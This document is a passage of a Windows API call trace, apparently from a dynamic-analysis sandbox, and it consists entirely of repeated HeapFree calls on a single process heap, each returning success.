	[0170.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.597] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.627] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.658] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.659] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.706] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.706] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.708] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.708] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.710] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.710] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.710] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.713] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.718] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.720] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.720] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.720] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0170.720] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.720] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0170.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0170.733] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.745] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.747] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.749] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.749] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.750] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.751] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.751] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.752] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.752] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.753] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.753] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.753] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.756] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.756] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.756] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.758] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.758] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.758] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.761] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.761] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.761] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0170.761] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0170.761] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0171.072] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.076] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.080] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.227] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0171.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0171.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0171.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0171.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.366] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.106] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.107] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0172.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
